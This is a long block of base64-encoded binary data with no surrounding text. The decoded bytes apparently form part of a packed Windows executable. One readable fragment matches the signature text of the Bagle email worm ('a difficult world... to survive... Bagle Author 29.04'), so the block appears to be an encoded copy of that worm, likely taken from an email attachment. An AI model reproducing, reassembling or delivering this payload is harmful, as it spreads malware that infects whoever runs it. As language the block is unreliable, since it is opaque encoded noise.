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 